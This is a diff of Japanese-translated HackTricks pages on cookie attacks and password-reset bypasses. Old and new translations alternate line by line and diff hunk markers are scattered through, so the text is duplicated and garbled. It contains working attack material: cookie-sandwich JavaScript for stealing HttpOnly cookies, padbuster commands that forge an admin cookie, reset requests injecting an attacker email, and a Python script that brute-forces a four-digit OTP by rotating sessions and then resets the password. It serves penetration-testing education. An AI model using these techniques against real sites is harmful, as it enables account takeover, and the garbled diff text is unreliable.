(詳細は[元の研究](https://blog.ankursundara.com/cookie-bugs/)を参照) JavaJetty、TomCat、UndertowやPythonZope、cherrypy、web.py、aiohttp、bottle、webobを含むいくつかのウェブサーバーは、古いRFC2965サポートのためにクッキーストリングを誤処理します。彼らは、セミコロンを含んでいても、ダブルクオートされたクッキー値を単一の値として読み取ります。これは通常、キーと値のペアを区切るべきです。
(詳細は[original research](https://blog.ankursundara.com/cookie-bugs/) を参照してください)JavaJetty、TomCat、UndertowやPythonZope、cherrypy、web.py、aiohttp、bottle、webobを含むいくつかのWebサーバは、古いRFC2965のサポートのためにcookie文字列を誤処理します。これらは、セミコロン;で通常は区切られるべきkey-valueペアを含んでいても、ダブルクォートで囲まれたcookie値を単一の値として読み取ります
```
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
```
#### Cookie Injection Vulnerabilities
#### Cookie Injection 脆弱性
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) サーバーによるクッキーの不適切な解析、特にUndertow、Zope、およびPythonの`http.cookie.SimpleCookie``http.cookie.BaseCookie`を使用しているものは、クッキーインジェクション攻撃の機会を生み出します。これらのサーバーは新しいクッキーの開始を適切に区切ることができず、攻撃者がクッキーを偽装することを可能にします:
(詳細は[original research](https://blog.ankursundara.com/cookie-bugs/)を参照) サーバー側、特に Undertow、Zope、および Python の `http.cookie.SimpleCookie``http.cookie.BaseCookie` を使っている実装における不適切な Cookie パースは、cookie injection 攻撃の機会を生みます。これらのサーバーは新しい Cookie の開始を正しく区切れず、攻撃者が Cookie を偽装できる余地を残します:
- Undertowは、セミコロンなしで引用された値の直後に新しいクッキーを期待します。
- Zopeは、次のクッキーの解析を開始するためにカンマを探します。
- Pythonのクッキークラスは、スペース文字で解析を開始します。
- Undertow は引用符で囲まれた値の直後にセミコロンなしで新しい cookie を期待します。
- Zope は次の cookie の解析を始めるためにカンマを探します。
- Python の cookie クラスはスペース文字で解析を開始します。
この脆弱性は、クッキーベースのCSRF保護に依存するWebアプリケーションにおいて特に危険であり、攻撃者が偽装されたCSRFトークンクッキーを注入し、セキュリティ対策を回避する可能性があります。この問題は、Pythonが重複したクッキー名を処理する方法によって悪化し、最後の出現が以前のものを上書きします。また、`__Secure-`および`__Host-`クッキーが不安全なコンテキストで扱われることに対する懸念を引き起こし、クッキーが偽装に対して脆弱なバックエンドサーバーに渡されると、認証バイパスを引き起こす可能性があります。
この脆弱性は、cookie ベースの CSRF 保護に依存する Web アプリケーションにおいて特に危険です。攻撃者が偽の CSRF トークン cookie を注入できるため、セキュリティ対策を回避される可能性があります。Python の重複する cookie 名の扱い(最後に出現したものが上書きする)によって問題は悪化します。また、不安全なコンテキストでの `__Secure-``__Host-` cookie に関する懸念を引き起こし、バックエンドサーバーに渡された cookie が偽装に脆弱な場合に認可バイパスにつながる可能性もあります。
### Cookies $version
#### WAF Bypass
According to [**this blogpost**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), **`$Version=1`**というクッキー属性を使用して、バックエンドが古いロジックを使用してクッキーを解析する可能性があります。これは**RFC2109**によるものです。さらに、**`$Domain`**や**`$Path`**などの他の値を使用して、クッキーに対するバックエンドの動作を変更することができます。
According to [**this blogpost**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), it might be possible to use the cookie attribute **`$Version=1`** to make the backend use an old logic to parse the cookie due to the **RFC2109**. Moreover, other values just as **`$Domain`** and **`$Path`** can be used to modify the behaviour of the backend with the cookie.
#### Cookie Sandwich Attack
According to [**this blogpost**](https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique) クッキーサンドイッチ技術を使用してHttpOnlyクッキーを盗むことが可能です。これらは要件と手順です
According to [**this blogpost**](https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique) it's possible to use the cookie sandwich technique to steal HttpOnly cookies. These are the requirements and steps:
- 明らかに無駄な**クッキーがレスポンスに反映される場所を見つける**
- **値が`1`の`$Version`というクッキーを作成する**これはJSからのXSS攻撃で行うことができますより具体的なパスを持たせて初期位置を取得しますPythonのような一部のフレームワークではこのステップは必要ありません
- **反映されるクッキーを作成する**その値に**開いた二重引用符**を残し、前のもの(`$Version`の後にクッキーDBに配置されるように特定のパスを持たせます
- その後、正当なクッキーが順番に続きます
- **二重引用符を閉じるダミークッキーを作成する**その値の中に
- Find a place were an apparent useless **cookie is refected in the response**
- **Create a cookie called `$Version`** with value `1` (ou can do this in a XSS attack from JS) with a more specific path so it gets the initial possition (some frameworks like python dont need this step)
- **Create the cookie that is reflected** with a value that leaves an **open double quotes** and with a specific path so its positioned in the cookie db after the previous one (`$Version`)
- Then, the legit cookie will go next in the order
- **Create a dummy cookie that closes the double quotse** inside its value
このようにして、被害者のクッキーは新しいクッキーのバージョン1の中に閉じ込められ、反映されるたびに反映されます。
This way the victim cookie gets trapped inside the new cookie version 1 and will get reflected whenever its reflected.
e.g. from the post:
```javascript
document.cookie = `$Version=1;`;
@ -205,60 +215,60 @@ document.cookie = `param1="start`;
// any cookies inside the sandwich will be placed into param1 value server-side
document.cookie = `param2=end";`;
```
### WAFバイパス
### WAF bypasses
#### Cookies $version
前のセクションを確認してください。
前のセクションを参照してください。
#### 引用文字列エンコーディングによるバイパス値分析
#### Bypassing value analysis with quoted-string encoding
この解析は、クッキー内のエスケープされた値をアンエスケープすることを示しています。したがって、"\a"は"a"になります。これはWAFをバイパスするのに役立つ場合があります
このパースは cookies 内のエスケープされた値をアンエスケープすることを示しており、"\a" は "a" になります。これは WAFS を回避するのに便利です。例えば:
- `eval('test') => forbidden`
- `"\e\v\a\l\(\'\t\e\s\t\'\)" => allowed`
#### クッキー名ブロックリストのバイパス
#### Bypassing cookie-name blocklists
RFC2109では、**カンマをクッキー値の区切りとして使用できる**ことが示されています。また、**等号の前後にスペースやタブを追加することも可能です**。したがって、`$Version=1; foo=bar, abc = qux`のようなクッキーは、クッキー`"foo":"bar, admin = qux"`を生成するのではなく、クッキー`foo":"bar"``"admin":"qux"`を生成します。2つのクッキーが生成され、adminの前後のスペースが削除されたことに注意してください。
RFC2109 では、**カンマが cookie 値の区切りとして使用できる**と示されています。また、等号の前後に**スペースやタブを追加できる**ことも可能です。したがって、`$Version=1; foo=bar, abc = qux` のような cookie は `"foo":"bar, admin = qux"` という cookie を生成するのではなく、`foo":"bar"``"admin":"qux"` という cookie を生成します。ここから 2 つの cookie が生成され、admin の前後のスペースが等号から除去されていることに注意してください。
#### クッキー分割によるバイパス値分析
#### Bypassing value analysis with cookie splitting
最後に、異なるバックドアは、異なるクッキーヘッダーで渡された異なるクッキーを文字列として結合します。
最後に、異なる backdoors が異なる cookie headers で渡された複数の cookie を 1 つの文字列に結合することがあります。例えば:
```
GET / HTTP/1.1
Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;
```
この例のようにWAFをバイパスすることを可能にするかもしれません:
例えば、次のように WAF を bypass できる可能性があります:
```
Cookie: name=eval('test//
Cookie: comment')
Resulting cookie: name=eval('test//, comment') => allowed
```
### 追加の脆弱なクッキーチェック
### 追加の脆弱な Cookies チェック
#### **基本チェック**
- **クッキー**は、**ログイン**するたびに**同じ**です
- ログアウトして、同じクッキーを使用してみてください
- 2つのデバイスまたはブラウザを使用して、同じアカウントに同じクッキーでログインしてみてください
- クッキーに情報が含まれているか確認し、変更を試みてください。
- ほぼ同じユーザー名で複数のアカウントを作成し、類似点が見えるか確認してください
- "**ログイン状態を保持する**"オプションが存在する場合、それがどのように機能するか確認してください。存在し、脆弱である可能性がある場合は、他のクッキーを使用せずに**ログイン状態を保持する**のクッキーを常に使用してください
- パスワードを変更しても前のクッキーが機能するか確認してください
- **cookie**は**login**のたびに**同じ**である
- Log outして同じcookieを使ってみる
- 同じcookieを使って2台のdeviceまたはbrowserから同じアカウントにlog inしてみる
- cookieに情報が含まれていないか確認し、改変してみる
- ほぼ同じusernameで複数の**accounts**を作成し、類似点がないか確認する
- 存在する場合は「**remember me**」オプションを確認して動作を確認する。存在し、脆弱であり得る場合は、他のcookieを使わずに常に**remember me**のcookieだけを使用する
- パスワードを変更した後でも以前のcookieが有効か確認する
#### **高度なクッキー攻撃**
#### **高度な cookies 攻撃**
ログイン時にクッキーが同じ(またはほぼ同じ)である場合、これはおそらくクッキーがあなたのアカウントのいくつかのフィールド(おそらくユーザー名)に関連していることを意味します。次に、あなたは
cookieがlog in時に同じまたはほぼ同じままであれば、おそらくそのcookieはアカウントの何らかのフィールドおそらくusernameに関連していることを意味する。次にできること
- 非常に**似た**ユーザー名でたくさんの**アカウント**を作成し、アルゴリズムがどのように機能しているかを**推測**してみてください
- **ユーザー名をブルートフォース**してみてください。クッキーがあなたのユーザー名の認証方法としてのみ保存されている場合、ユーザー名"**Bmin**"でアカウントを作成し、クッキーのすべての**ビット**を**ブルートフォース**することができます。なぜなら、あなたが試すクッキーの1つは"**admin**"に属するものだからです
- **パディング** **オラクル**を試してください(クッキーの内容を復号化できます)。**padbuster**を使用してください
- 非常に類似したusernameで多数の**accounts**を作成し、アルゴリズムがどのように動作しているかを推測する
- **bruteforce the username**を試みる。もしcookieがusernameの認証情報としてのみ機能しているなら、usernameを「**Bmin**」などにしてアカウントを作成し、cookieの各**bit**を**bruteforce**できる。試すcookieのうちの1つが「**admin**」のものになる可能性があるためだ
- **Padding Oracle**を試すcookieの内容を復号できることがある。**padbuster**を使う
**パディングオラクル - Padbusterの例**
**Padding Oracle - Padbuster examples**
```bash
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
@ -268,43 +278,45 @@ padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies a
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
```
Padbusterは複数回試行を行い、どの条件がエラー条件(無効な条件)であるかを尋ねます。
Padbuster は複数回試行を行い、どの条件がエラー条件(有効でないもの)かを尋ねてきます。
その後、クッキーの復号を開始します(数分かかる場合があります)。
その後、decrypting the cookie を開始します(数分かかることがあります)
攻撃が成功した場合、任意の文字列を暗号化してみることができます。例えば、**encrypt** **user=administrator**を暗号化したい場合。
attack が正常に実行された場合、任意の文字列を encrypt してみることができます。例えば、**encrypt** **user=administrator**
```
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
```
この実行により、**user=administrator**という文字列が含まれた正しく暗号化され、エンコードされたクッキーが得られます。
この実行により、文字列 **user=administrator** を含む cookie が正しく暗号化およびエンコードされて取得できます。
**CBC-MAC**
クッキーにはいくつかの値があり、CBCを使用して署名される可能性があります。すると、値の整合性は、同じ値を使用してCBCで作成された署名になります。IVとしてヌルベクターを使用することが推奨されるため、このタイプの整合性チェックは脆弱である可能性があります。
cookie に値が含まれ、CBC を使って署名されることがあります。この場合、値の整合性は同じ値を用いて CBC で作成された署名になります。IV として null vector を使うことが推奨されているため、この種の整合性検査は脆弱になり得ます。
**攻撃**
**The attack**
1. ユーザー名 **administ** の署名を取得 = **t**
2. ユーザー名 **rator\x00\x00\x00 XOR t** の署名を取得 = **t'**
3. クッキーに値 **administrator+t'** を設定 (**t'** は **(rator\x00\x00\x00 XOR t) XOR t** の有効な署名になります = **rator\x00\x00\x00**)
1. username **administ** の署名を取得する = **t**
2. username **rator\x00\x00\x00 XOR t** の署名を取得する = **t'**
3. cookie に値 **administrator+t'** をセットする(**t'** は **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00** の有効な署名となる)
**ECB**
クッキーがECBを使用して暗号化されている場合、脆弱である可能性があります。\
ログインすると、受け取るクッキーは常に同じでなければなりません。
If the cookie is encrypted using ECB it could be vulnerable.\
cookie が ECB で暗号化されている場合、脆弱である可能性があります。\
ログイン時に受け取る cookie は常に同じであるはずです。
**検出と攻撃方法:**
**How to detect and attack:**
ほぼ同じデータユーザー名、パスワード、メールなどを持つ2つのユーザーを作成し、与えられたクッキー内のパターンを発見しようとします。
- ほぼ同じデータusername、password、email など)で 2 つの user を作成し、与えられた cookie 内に何らかのパターンがないか探す
- Create a user called for example "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" and check if there is any pattern in the cookie (as ECB encrypts with the same key every block, the same encrypted bytes could appear if the username is encrypted).
- パターンが見つかるはずです(使用されている block のサイズに対応)。したがって、大量の "a" がどのように暗号化されるか分かれば、username として "a"\*(size of the block)+"admin" を作成できます。そうすれば、cookie から "a" の 1 ブロック分の暗号化パターンを削除でき、username "admin" の cookie を手に入れられます。
例えば「aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa」というユーザーを作成し、クッキーにパターンがあるかどうかを確認しますECBは同じキーで各ブロックを暗号化するため、ユーザー名が暗号化されると同じ暗号化されたバイトが現れる可能性があります
使用されるブロックのサイズでパターンが存在するはずです。したがって、「a」をブロックのサイズ分暗号化したものを知っていれば、ユーザー名を「a」*(ブロックのサイズ) + "admin"」として作成できます。その後、クッキーから「a」のブロックの暗号化パターンを削除することができます。そして、ユーザー名「admin」のクッキーを得ることができます。
## 参考文献
## 参考資料
- [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
- [https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
- [https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie)
- [https://seclists.org/webappsec/2006/q2/181](https://seclists.org/webappsec/2006/q2/181)
- [https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it](https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it)
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,122 +1,122 @@
# リセット/忘れたパスワードのバイパス
# Reset/Forgotten Password Bypass
{{#include ../banners/hacktricks-training.md}}
## **リファラーによるパスワードリセットトークンの漏洩**
## **Password Reset Token Leak Via Referrer**
- HTTPリファラーヘッダーは、URLに含まれている場合、パスワードリセットトークンを漏洩させる可能性があります。これは、ユーザーがパスワードリセットをリクエストした後に、サードパーティのウェブサイトリンクをクリックしたときに発生する可能性があります。
- **影響**: クロスサイトリクエストフォージェリCSRF攻撃によるアカウントの乗っ取りの可能性
- **悪用**: リファラーヘッダーにパスワードリセットトークンが漏洩しているか確認するには、**パスワードリセットを**自分のメールアドレスにリクエストし、**提供されたリセットリンクをクリック**します。**すぐにパスワードを変更しないでください**。代わりに、**Burp Suiteを使用してリクエストを傍受しながら、サードパーティのウェブサイト**FacebookやTwitterなどに**移動します**。リクエストを検査して、**リファラーヘッダーにパスワードリセットトークンが含まれているか**確認します。これにより、第三者に機密情報が露出する可能性があります。
- **参考文献**:
- The HTTP referer headerは、URLにパスワードリセットトークンが含まれている場合にそのトークンをleakする可能性があります。これは、ユーザーがパスワードリセットを要求した後にサードパーティのウェブサイトのリンクをクリックしたときに発生する可能性があります。
- **Impact**: Cross-Site Request Forgery (CSRF) 攻撃を介した潜在的なアカウント乗っ取り
- **Exploitation**: referer header内でパスワードリセットトークンがleakしているか確認するには、あなたのメールアドレスに対して**password resetをリクエスト**し、提供された**reset linkをクリック**します。**パスワードをすぐに変更しないでください**。代わりに、**Burp Suiteを使ってリクエストをインターセプトしながら**、**FacebookやTwitterなどのサードパーティのウェブサイトに移動**します。リクエストを検査して、**referer headerがパスワードリセットトークンを含んでいるか**を確認してください。これは機密情報がサードパーティに公開される可能性があります。
- **References**:
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
- [パスワードリセットトークン漏洩に関する記事](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
- [Password Reset Token Leak Article](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
## **パスワードリセットポイズニング**
## **Password Reset Poisoning**
- 攻撃者は、パスワードリセットリクエスト中にHostヘッダーを操作して、リセットリンクを悪意のあるサイトに向けることがあります。
- **影響**: リセットトークンが攻撃者に漏洩することによるアカウントの乗っ取りの可能性
- **緩和策**:
- 許可されたドメインのホワイトリストに対してHostヘッダーを検証します
- 絶対URLを生成するために、安全なサーバーサイドの方法を使用します
- **パッチ**: `$_SERVER['HTTP_HOST']`の代わりに`$_SERVER['SERVER_NAME']`を使用してパスワードリセットURLを構築します
- **参考文献**:
- [パスワードリセットポイズニングに関するAcunetixの記事](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
- Attackers may manipulate the Host header during password reset requests to point the reset link to a malicious site.
- **Impact**: reset tokensを攻撃者にleakingすることで潜在的なアカウント乗っ取りにつながる
- **Mitigation Steps**:
- Host headerを許可ドメインのホワイトリストと照合して検証する
- 絶対URLを生成する際は、サーバー側の安全な方法を使用する
- **Patch**: `$_SERVER['SERVER_NAME']` を使用してパスワードリセットURLを構築し、`$_SERVER['HTTP_HOST']` を使用しない
- **References**:
- [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
## **メールパラメータを操作してのパスワードリセット**
## **Password Reset By Manipulating Email Parameter**
攻撃者は、リセットリンクを誘導するために追加のメールパラメータを追加することで、パスワードリセットリクエストを操作できます。
Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link.
- &を使用して攻撃者のメールを2番目のパラメータとして追加します。
- & を使って攻撃者のメールアドレスを2番目のパラメータとして追加する
```php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
```
- 攻撃者のメールアドレスを2番目のパラメータとして追加し、%20を使用します。
- 攻撃者のメールアドレスを2番目のパラメータとして追加し、%20を使用する
```php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
```
- 攻撃者のメールアドレスを2番目のパラメータとして追加します |
- | を使って attacker email を2番目のパラメータとして追加する
```php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
```
- 攻撃者のメールアドレスを2番目のパラメータとしてccを使用して追加します。
- attacker email を cc を使って2番目のパラメータとして追加する
```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
```
- 攻撃者のメールアドレスを第二のパラメータとしてbccを使用して追加します。
- 攻撃者のメールアドレスを2番目のパラメータとして、bccを使って追加する
```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
```
- 攻撃者のメールアドレスを2番目のパラメータとして追加します。
- attacker email を2番目のパラメータとして追加し、
```php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
```
- JSON配列の2番目のパラメータとして攻撃者のメールアドレスを追加します。
- json array の2番目のパラメータとして attacker email を追加する
```php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}
```
- **緩和手順**:
- サーバー側でメールパラメータを適切に解析し、検証する
- インジェクション攻撃を防ぐために、プリペアードステートメントまたはパラメータ化クエリを使用する
- **参考文献**:
- email パラメータをサーバー側で適切に解析・検証すること
- prepared statements または parameterized queries を使用して、injection attacks を防ぐこと
- **References**:
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
## **APIパラメータを通じて任意のユーザーのメールとパスワードを変更する**
## **API Parameters を介して任意のユーザーの Email と Password を変更する**
- 攻撃者はAPIリクエスト内のメールおよびパスワードパラメータを変更してアカウントの資格情報を変更できます
- 攻撃者は API リクエスト内の email および password パラメータを改変してアカウントの認証情報を変更できる
```php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
```
- **緩和策**:
- 厳格なパラメータ検証と認証チェックを確保する。
- 不審な活動を検出し対応するために、堅牢なログ記録と監視を実装する。
- **参照**:
- [APIパラメータ操作による完全アカウント乗っ取り](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
- パラメータの厳密な検証と認証チェックを実施する。
- 疑わしいアクティビティを検出して対応できるよう、堅牢なログ記録と監視を実装する。
- **Reference**:
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
## **レート制限なし: メールボンピング**
## **No Rate Limiting: Email Bombing**
- パスワードリセットリクエストにレート制限がないと、ユーザーがリセットメールで圧倒されるメールボンピングが発生する可能性がある。
- パスワードリセット要求に対するレート制限がないと、email bombing を招き、ユーザに大量のリセットメールが届いてしまう可能性がある。
- **緩和策**:
- IPアドレスまたはユーザーアカウントに基づいてレート制限を実装する。
- 自動化された悪用を防ぐためにCAPTCHAチャレンジを使用する。
- **参照**:
- [HackerOneレポート280534](https://hackerone.com/reports/280534)
- IPアドレスやユーザアカウントに基づくレート制限を実装する。
- 自動化された濫用を防ぐために CAPTCHA を利用する。
- **References**:
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
## **パスワードリセットトークンの生成方法を調べる**
## **Find out How Password Reset Token is Generated**
- トークン生成のパターンや方法を理解することで、トークンを予測したりブルートフォース攻撃を行うことができる。いくつかのオプション:
- タイムスタンプに基づく
- ユーザーIDに基づく
- ユーザーのメールに基づく
- 名前と姓に基づく
- 生年月日に基づく
- 暗号に基づく
- トークン生成のパターンや方法を理解すると、トークンの予測や総当たりが可能になる場合がある。考えられる例:
- タイムスタンプベース
- UserID ベース
- ユーザの email ベース
- firstname と lastname ベース
- 生年月日ベース
- 暗号学ベース
- **緩和策**:
- トークン生成に強力な暗号化手法を使用する。
- 予測可能性を防ぐために十分なランダム性と長さを確保する。
- **ツール**: Burp Sequencerを使用してトークンのランダム性を分析する。
- トークン生成には強力な暗号学的手法を使用する。
- 予測されないよう、十分なランダム性と長さを確保する。
- **Tools**: トークンのランダム性を解析するために Burp Sequencer を使用する。
## **推測可能なUUID**
## **Guessable UUID**
- UUIDバージョン1が推測可能または予測可能な場合、攻撃者はそれをブルートフォースして有効なリセットトークンを生成する可能性がある。確認する:
- UUIDs (version 1) が推測可能または予測可能な場合、攻撃者は有効なリセットトークンを生成するために総当たり攻撃を行う可能性がある。次を確認する:
{{#ref}}
@ -124,58 +124,58 @@ uuid-insecurities.md
{{#endref}}
- **緩和策**:
- ランダム性のためにGUIDバージョン4を使用するか、他のバージョンに対して追加のセキュリティ対策を実装する。
- **ツール**: [guidtool](https://github.com/intruder-io/guidtool)を使用してGUIDを分析および生成する。
- ランダム性のために GUID version 4 を使用するか、他のバージョンに対して追加のセキュリティ対策を実装する。
- **Tools**: GUID を解析・生成するために [guidtool](https://github.com/intruder-io/guidtool) を使用する。
## **レスポンス操作: 悪いレスポンスを良いものに置き換える**
## **Response Manipulation: Replace Bad Response With Good One**
- エラーメッセージや制限を回避するためにHTTPレスポンスを操作する。
- エラーメッセージや制限を回避するために HTTP レスポンスを操作する行為
- **緩和策**:
- レスポンスの整合性を保するためにサーバー側のチェックを実装する。
- 中間者攻撃を防ぐためにHTTPSのような安全な通信チャネルを使用する。
- **参照**:
- [ライブバグバウンティイベントの重大なバグ](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
- レスポンスの整合性を保するためにサーバー側のチェックを実装する。
- 中間者攻撃を防ぐために HTTPS のような安全な通信チャネルを使用する。
- **Reference**:
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
## **期限切れトークンの使用**
## **Using Expired Token**
- 期限切れトークンがパスワードリセットにまだ使用できるかどうかをテストする。
- 期限切れトークンがパスワードリセットにまだ使るかどうかをテストする。
- **緩和策**:
- 厳格なトークン有効期限ポリシーを実装し、サーバー側でトークンの有効期限を検証する。
- 厳格なトークン有効期限ポリシーを実施し、サーバー側でトークンの期限を検証する。
## **パスワードリセットトークンのブルートフォース**
## **Brute Force Password Reset Token**
- BurpsuiteやIP-Rotatorのようなツールを使用してリセットトークンをブルートフォースし、IPベースのレート制限を回避しようとする
- Burpsuite や IP-Rotator のようなツールを使ってリセットトークンを総当たりし、IPベースのレート制限を回避する試み
- **緩和策**:
- 堅牢なレート制限とアカウントロックアウトメカニズムを実装する。
- ブルートフォース攻撃を示す不審な活動を監視する。
- 堅牢なレート制限とアカウントロックアウト機構を実装する。
- 総当たり攻撃を示す疑わしい活動を監視する。
## **トークンを使用してみる**
## **Try Using Your Token**
- 攻撃者のリセットトークンが被害者のメールと一緒に使用できるかどうかをテストする。
- 攻撃者のリセットトークンを被害者の email と組み合わせて使用できるかをテストする。
- **緩和策**:
- トークンがユーザーセッションまたは他のユーザー固有の属性にバインドされていることを確認する。
- トークンがユーザセッションや他のユーザ固有の属性に紐付けられるようにする。
## **ログアウト/パスワードリセット時のセッション無効化**
## **Session Invalidation in Logout/Password Reset**
- ユーザがログアウトまたはパスワードをリセットしたときにセッションが無効化されることを確認する。
- ユーザがログアウトまたはパスワードをリセットしたにセッションが無効化されることを確認する。
- **緩和策**:
- 適切なセッション管理を実装し、ログアウトまたはパスワードリセット時にすべてのセッションが無効化されることを確保する。
- 適切なセッション管理を実装し、ログアウトやパスワードリセット時にすべてのセッションを無効化することを保証する。
## **ログアウト/パスワードリセット時のセッション無効化**
## **Session Invalidation in Logout/Password Reset**
- リセットトークンには、有効期限が設定され、その後無効になるべきである。
- リセットトークンには、無効化される有効期限が設定されているべきである。
- **緩和策**:
- リセットトークンの合理的な有効期限を設定し、サーバー側で厳格に施行する。
- リセットトークンに合理的な有効期限を設定し、サーバー側で厳格に強制する。
## **セッションを変更してOTPレート制限を回避**
## **OTP rate limit bypass by changing your session**
- ウェブサイトがユーザーセッションを使用して誤ったOTPの試行を追跡しており、OTPが弱い<= 4桁の場合、効果的にOTPをブルートフォースできる。
- **悪用**:
- サーバーによってブロックされた後に新しいセッショントークンをリクエストするだけ
- **例** コードは、セッションを変更するとOTPも変更されるため、OTPをランダムに推測してこのバグを悪用しますしたがって、連続してブルートフォースすることはできません:
- サイトが誤った OTP 試行回数をユーザセッションで追跡しており、OTP が弱い(<= 4 桁)場合、実質的に OTP を総当たりできてしまう可能性がある。
- **悪用方法**:
- サーバーにブロックされた後に単に新しいセッショントークンを要求する
- **Example** code that exploits this bug by randomly guessing the OTP (when you change the session the OTP will change as well, and so we will not be able to sequentially bruteforce it!):
``` python
# パスワードリセットによる認証バイパス
# Authentication bypass by password reset
# by coderMohammed
import requests
import random
@ -193,46 +193,83 @@ parms = dict()
ter = 0
phpsessid = ""
print("[+] 攻撃を開始します!")
print("[+] Starting attack!")
sleep(3)
print("[+] これには約5分かかる場合があります")
print("[+] This might take around 5 minutes to finish!")
try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # 0 - 9999のランダムな数4桁
parms["s"] = 164 # 重要ではなく、フロントエンドにのみ影響する
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
parms["s"] = 164 # not important it only efects the frontend
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
if ter == 8: # 試行回数に従う
out = requests.get(logout,headers=headers) # ログアウトする
mainp = requests.get(root) # 別のphpssidトークンを取得する
if ter == 8: # follow number of trails
out = requests.get(logout,headers=headers) # log u out
mainp = requests.get(root) # gets another phpssid (token)
cookies = out.cookies # セッションIDを抽出する
cookies = out.cookies # extract the sessionid
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" # 新しいセッションでヘッダーを更新
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # パスワード変更のためにメールを送信
ter = 0 # 8回の試行後に新しいセッションを取得するためにterをリセット
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
ter = 0 # reset ter so we get a new session after 8 trails
else:
ter += 1
if(len(res.text) == 2292): # リカバリーコードが正しく取得できたときのページの長さ(テストによって得られた)
print(len(res.text)) # デバッグ情報
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
print(len(res.text)) # for debug info
print(phpsessid)
reset_data = { # ここでパスワードを新しいものに変更する
reset_data = { # here we will change the password to somthing new
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
print("[+] パスワードがD37djkamd!に変更されました!")
print("[+] Password has been changed to:D37djkamd!")
break
except Exception as e:
print("[+] 攻撃が停止しました")
print("[+] Attck stopped")
```
## 参照
## Arbitrary password reset via skipOldPwdCheck (pre-auth)
